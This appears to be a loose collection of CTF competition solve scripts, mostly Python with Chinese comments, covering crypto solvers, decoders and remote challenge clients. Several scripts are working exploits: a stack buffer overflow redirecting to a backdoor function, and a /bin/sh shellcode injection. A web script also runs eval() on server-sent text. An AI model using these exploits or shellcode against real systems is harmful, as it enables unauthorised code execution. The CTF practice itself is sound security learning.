from pwn import *

context.log_level = 'debug'
p = remote('47.94.87.199', 20493)

print("Initial output:", p.recvrepeat(timeout=2).decode())

p.send(b'1\n')
print("Response after one input:", p.recvrepeat(timeout=2).decode())


chunk_size = 500
total_inputs = 32768
for i in range(0, total_inputs, chunk_size):
    chunk = b'1\n' * min(chunk_size, total_inputs - i)
    p.send(chunk)
    p.clean(timeout=0.1)

try:
    p.recvuntil(b'You got it!\n', timeout=10)
    flag = p.recvline().decode().strip()
    print("Flag:", flag)
except EOFError:
    print("Connection closed unexpectedly.")
except TimeoutError:
    print("Timeout waiting for 'You got it!'.")

p.close()

from pwn import *
io = process("./overflow")
elf = ELF("./overflow")
offset = 264
backdoor_addr = elf.symbols['backd00r']
payload = offset * b'a' + p64(backdoor_addr+1)
io.readuntil(b'Enter your input:')
io.sendline(payload)
io.interactive()

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./input_function')

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
    
payload = shellcode.ljust(0x500, b'A')
p.sendline(payload)
p.interactive()

恭喜你，通过了第一道考验，请用其他压缩魔法打开下一扇门吧！（下一扇门明明没有密码，为什么还是要输入密码呢？）

from Crypto.Util.number import *
import hashlib
import math

# 已知数据
P_ = 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n = 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c = 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845

# 已知 key
key = b'crypto'

# 验证 MD5
KEY = hashlib.md5(key).hexdigest()
print(f"KEY = {KEY}")
assert KEY == '5ae9b7f211e23aac3df5f2b8f3b8eada'

# 恢复 p
key_long = bytes_to_long(key)
p = P_ ^ key_long
print(f"p = {p}")

# 验证 p 是素数且满足 n = p^3 * q^2
print(f"p is prime: {isPrime(p)}")
print(f"n % p^3 == 0: {n % (p**3) == 0}")

# 计算 q
q2 = n // (p**3)
q = math.isqrt(q2)  # 使用 math.isqrt
if q * q == q2 and isPrime(q):
    print(f"q = {q}")
else:
    # 尝试附近值
    for q_candidate in range(q-2, q+3):
        if n % (p**3 * q_candidate**2) == 0 and isPrime(q_candidate):
            q = q_candidate
            print(f"q = {q}")
            break

# 计算 phi(n) = p^2 * (p-1) * q * (q-1)
phi = (p**2) * (p-1) * q * (q-1)

# 解密
e = 65537
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(f"Flag: {flag.decode()}")

from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes

# 给定的余数列表
remainders = [
    1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155
]
# 生成素数列表
from sympy import primerange
primes = list(primerange(2, 114514))

# 使用 CRT 重建原始整数
reconstructed, _ = crt(primes[:len(remainders)], remainders)

message_bytes = long_to_bytes(reconstructed)
flag = message_bytes.decode()
print(flag)

from pwn import *
context.log_level = 'debug'

def frog_jump(a, b):
    """
    模拟青蛙的跳跃过程，直到 a == b。
    """
    while a != b:
        if a > b:
            a -= b
        else:
            b -= a
    return a, b

def solve_frog_puzzle(a, b):
    """
    给定初始位置 (a, b)，计算青蛙的最终位置 (x, y)。
    """
    x, y = frog_jump(a, b)
    return x, y

p = remote("8.147.132.32", 17596)
p.recvuntil(b'If you succeed, I will give you a mysterious flag.')
p.recvline()
p.recvline()
str1 = p.recvline().strip().decode()

# 使用正则表达式提取 a 和 b 的值
import re
pattern = r'\((\d+),(\d+)\)'
match = re.search(pattern, str1)
if match:
    a, b = map(int, match.groups())
else:
    print("Failed to parse the initial (a, b) values.")
    p.close()
    exit()

# 计算最终位置
x, y = solve_frog_puzzle(a, b)

# 发送答案
p.sendline(f'{x},{y}'.encode())

for i in range(0, 4):
    p.recvuntil(b"flag!")
    p.recvline()
    c = p.recvline().strip().decode()
    match = re.search(pattern, c)
    if match:
        n1, n2 = map(int, match.groups())
    else:
        print("Failed to parse the (a, b) values.")
        p.close()
        exit()
    x, y = solve_frog_puzzle(n1, n2)
    p.sendline(f'{x},{y}'.encode())
p.interactive()

def recover_message_int(a, p, hint_values):
    """
    从 hint 序列中恢复 message_int。
    """
    # 取最后一个 hint 值
    hint_i = hint_values[-1]
    hint_i_minus_1 = hint_values[-2]

    # 反向计算 message_int
    message_int = (hint_i - a * hint_i_minus_1) % p
    return message_int


# 已知的 a 和 p
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431

# 已知的 hint 序列
hint_values = [
    184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808,
    289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104,
    511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751,
    166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215,
    147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815,
    414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244
]

# 恢复 message_int
message_int = recover_message_int(a, p, hint_values)

# 将 message_int 转换为字节表示
from Crypto.Util.number import long_to_bytes

flag = long_to_bytes(message_int).decode()

print("Recovered flag:", flag)

import base64
# 要解码的字符串
str1 = ""
str1 = input("请输入要解码的base64编码：")
# base64替换码表
string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
# base64原码表
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))

#include <stdio.h>
#include <string.h>

int main() {
    char str[24] = "anu`ym7wKLl$P]v3q%D]lHpi";
    int v5[3];
    int i, j;
    int v7 = strlen(str);  // 获取字符串长度
    
    // 第一轮异或操作
    for (i = 0; i < strlen(str); ++i) {
        if (i % 3) {
            if (i % 3 == 1)
                str[i] ^= 0x11u;
            else
                str[i] ^= 0x45u;
        } else {
            str[i] ^= 0x14u;  // 修复变量名大小写
        }
    }
    
    // 设置v5数组
    v5[0] = 19;
    v5[1] = 19;
    v5[2] = 81;
    
    // 第二轮异或操作
    for (j = 0; j < v7; ++j)
        str[j] ^= v5[j % 3];
    
    printf("%s\n", str);
    
    return 0;
}

# 将 64 位整数转换为字节数组并反转
encrypted_hex = 0xD7D7D8DDF2DAEDDE
encrypted_bytes = encrypted_hex.to_bytes(8, 'little')  # 小端序

# XOR 解密
decrypted = []
for byte in encrypted_bytes:
    decrypted.append(byte ^ 0xAD)

# 转换为字符串
flag_part = ''.join(chr(b) for b in decrypted)
print(f"解密结果: {flag_part}")

from Crypto.Util.number import long_to_bytes

p = 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623
hint = [
    249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786,
    341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227,
    20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352,
    477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517,
    316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931,
    288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426,
    181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610,
    363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144,
    176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588,
    226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395,
    235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128
]

# 计算 a
num = (hint[2] - hint[1]) % p
den = (hint[1] - hint[0]) % p
a = (num * pow(den, -1, p)) % p

# 计算 m
m = (hint[1] - a * hint[0]) % p

# 转为 flag
flag = long_to_bytes(m)
print(flag.decode())

from math import gcd, isqrt
from Crypto.Util.number import long_to_bytes, isPrime

hint = [
    207815833858860472630525746720294722862686098236015762403351705374683468788325370179356514749526876950,
    211015979308620411696525425095777275753476560571747569104626146643460892934355111246007348590054728278,
    154982921170646039127386113914327168037474092849926050668784589159876343568545829713567339881566128774,
    14301447927625534901480862591544923748585828474154787997664067408999800058813140550333919836238991874,
    274602491551514790133598749654877237076653637818520480950523811116227833787921484758457209356323726695,
    170369781650509946447172258827489337909221053707541176039704241960102824673107536295921548339896943064,
    199159531778559581852282705906428311276685520954787407093495692307498420437271623202700142459262344361,
    152127625735448140599545820146663204043528582114006890378053333070292552669943282154992607592819602345,
    258118974363253374610905261929872690383062999526270455540048172948029807006984567635623967904079172525,
    83791161992040915418707637123797436818204732030321155500557330793843135987740494961151450687354553588,
    240283309715668400040909429066350841404133576389215959280394956765762171700654715262676050019779801415,
    38842976594694523258855648781570648918799284259234846435828069057016223394465201311284210539158742069,
    112124551443162148461799084208953311502063130294653691708825709872287471313112327095490868557801413814,
    130493216949781764571166990014451012680060230560283908734192439983915035889157778838781734918556337718,
    257057021216255933786617119107267370802049994234255480193196121654281929053027702977268758326889526999,
    50825978665892428834553479141064382082596923815786131694407281600281500668374124718717621345592142201
]

# 计算差分
d = []
for i in range(len(hint) - 1):
    d.append(hint[i + 1] - hint[i])

# 计算 T_k = d_{k+1} * d_0 - d_k * d_1
T = []
for k in range(1, len(d) - 1):
    T.append(d[k + 1] * d[0] - d[k] * d[1])

# 通过 gcd 恢复 p_candidate
p_candidate = 0
for i in range(len(T)):
    for j in range(i + 1, len(T)):
        g = gcd(T[i], T[j])
        if g > p_candidate:
            p_candidate = g

print("Recovered p_candidate =", p_candidate)
print("Bit length:", p_candidate.bit_length())


# 分解 p_candidate 找到真正的素数 p
def find_large_prime_factor(n):
    # 检查是否是素数
    if isPrime(n):
        return n

    # 试除小因子
    factors = []
    temp = n
    for p in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:
        while temp % p == 0:
            factors.append(p)
            temp //= p

    # 如果剩下的数是素数，返回它
    if isPrime(temp):
        return temp

    # 否则继续分解
    f = 37
    while f * f <= temp and f < 10 ** 7:  # 限制搜索范围
        if temp % f == 0:
            factors.append(f)
            temp //= f
            if isPrime(temp):
                return temp
        else:
            f += 2

    # 返回最大的因子
    all_factors = factors + [temp]
    prime_factors = [x for x in all_factors if isPrime(x)]
    if prime_factors:
        return max(prime_factors)
    return max(all_factors)


p = find_large_prime_factor(p_candidate)
print("Extracted prime p =", p)
print("Is p prime?", isPrime(p))
print("p bit length:", p.bit_length())

# 尝试恢复 a 和 m
for i in range(len(hint) - 2):
    num = (hint[i + 2] - hint[i + 1]) % p
    den = (hint[i + 1] - hint[i]) % p

    if gcd(den, p) == 1:
        try:
            inv_den = pow(den, -1, p)
            a = (num * inv_den) % p
            print(f"Recovered a using hints[{i}:{i + 3}] =", a)

            # 恢复 m
            m = (hint[i + 1] - a * hint[i]) % p

            # 转为 flag
            flag = long_to_bytes(m)
            print("Flag:", flag.decode())
            break

        except ValueError as e:
            print(f"Error with hints[{i}:{i + 3}]:", e)
            continue
else:
    print("Failed to recover a and m with all hint pairs")

# # Doro/Doro_nJlPVs_@123
import requests
from fake_useragent import UserAgent
import json

user_agent = UserAgent().google

def expr():
    url = 'https://eci-2zefcob15uoej7l94h9d.cloudeci1.ichunqiu.com:5000/login'
    session = requests.session()
    header = {
        'User-Agent': user_agent
    }
    args = {
        'username': 'Doro',
        'password': 'Doro_nJlPVs_@123'
    }
    r = session.post(url, headers=header, data=args)
    return session


def start_challenge(session):
    url = 'https://eci-2zefcob15uoej7l94h9d.cloudeci1.ichunqiu.com:5000/start_challenge'
    header = {
        'Content-Type': 'application/json',
        'User-Agent': user_agent
    }

    r = session.post(url, headers=header)
    j = json.loads(r.text)
    s = str(j['expression'])
    eva = s.strip().lstrip('token = ')
    result = eval(eva)
    return result


def verify_token(session, result):
    url = 'https://eci-2zefcob15uoej7l94h9d.cloudeci1.ichunqiu.com:5000/verify_token'
    header = {
        'Content-Type': 'application/json',
        'User-Agent': user_agent
    }
    args = {
        'token': result
    }
    r = session.post(url, headers=header, json=args)
    print(r.text)


session = expr()
res = start_challenge(session)
verify_token(session, res)

CREATE TABLE node_status (
    node_id INTEGER PRIMARY KEY,
    cpu_usage VARCHAR(10),
    ram_usage VARCHAR(10),
    status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),
    last_checked DATETIME DEFAULT CURRENT_TIMESTAMP
    ),
CREATE TABLE sys_config (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    config_key VARCHAR(50) UNIQUE,
    config_value TEXT
),
CREATE TABLE sqlite_sequence(name,seq)

<?php

$encrypted = base64_decode("R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==");
$chunks = str_split($encrypted, 10);

$possible_flags = [''];

foreach ($chunks as $chunk) {
    $new_possibles = [];
    foreach ($possible_flags as $base) {
        // 可能性1: 这一块原为 ROT13
        $rot = str_rot13($chunk);
        $new_possibles[] = $base . $rot;

        // 可能性2: 这一块原为反转
        $rev = strrev($chunk);
        $new_possibles[] = $base . $rev;
    }
    $possible_flags = $new_possibles;
}

// 过滤函数：检查是否为有效的Base64编码结果
function isValidBase64Result($str) {
    // Base64编码只包含这些字符
    return preg_match('/^[A-Za-z0-9+\/]+={0,2}$/', $str);
}

// 过滤函数：检查Base64解码后是否为可打印文本
function isPrintableText($str) {
    // 检查是否包含不可打印字符（除了换行符和空格）
    if (preg_match('/[^\x20-\x7E\n\r\t]/', $str)) {
        return false;
    }

    // 检查是否有一定比例的可读字符（字母、数字、常见标点）
    $readableCount = 0;
    $total = strlen($str);
    if ($total == 0) return false;

    for ($i = 0; $i < $total; $i++) {
        $char = $str[$i];
        if (ctype_alnum($char) || strpos(' {}[]()-_=+.,;:!?/', $char) !== false) {
            $readableCount++;
        }
    }

    // 至少70%的字符应该是可读的
    return ($readableCount / $total) >= 0.7;
}

// 更严格的flag格式检查
function looksLikeFlag($str) {
    // 常见的flag格式
    $flagPatterns = [
        '/flag\{[^}]+\}/',
        '/FLAG\{[^}]+\}/',
        '/ctf\{[^}]+\}/',
        '/CTF\{[^}]+\}/',
        '/[a-zA-Z0-9_]{10,}/' // 或者长字符串
    ];

    foreach ($flagPatterns as $pattern) {
        if (preg_match($pattern, $str)) {
            return true;
        }
    }
    return false;
}

echo "正在分析 " . count($possible_flags) . " 种可能性...\n";

$validResults = [];

foreach ($possible_flags as $candidate) {
    // 首先检查候选字符串本身是否是有效的Base64
    if (!isValidBase64Result($candidate)) {
        continue;
    }

    $decoded = base64_decode($candidate, true);
    if ($decoded === false) {
        continue;
    }

    // 检查解码后是否为可打印文本
    if (!isPrintableText($decoded)) {
        continue;
    }

    // 检查是否包含flag特征
    if (looksLikeFlag($decoded)) {
        $validResults[] = [
            'base64' => $candidate,
            'decoded' => $decoded,
            'length' => strlen($decoded)
        ];
    }
}

// 按长度排序，flag通常不会太短
usort($validResults, function($a, $b) {
    return $b['length'] - $a['length'];
});

echo "\n有效结果:\n";
foreach ($validResults as $result) {
    echo "Base64: " . $result['base64'] . "\n";
    echo "解码: " . $result['decoded'] . "\n";
    echo "长度: " . $result['length'] . " 字符\n";
    echo "---\n";
}

// 如果没有找到flag格式，显示所有可打印结果
if (empty($validResults)) {
    echo "\n未找到标准flag格式，显示所有可打印结果:\n";
    $allPrintable = [];

    foreach ($possible_flags as $candidate) {
        if (!isValidBase64Result($candidate)) continue;

        $decoded = base64_decode($candidate, true);
        if ($decoded === false) continue;

        if (isPrintableText($decoded)) {
            $allPrintable[] = [
                'base64' => $candidate,
                'decoded' => $decoded
            ];
        }
    }

    foreach ($allPrintable as $result) {
        echo "Base64: " . $result['base64'] . "\n";
        echo "解码: " . $result['decoded'] . "\n";
        echo "---\n";
    }
}

?>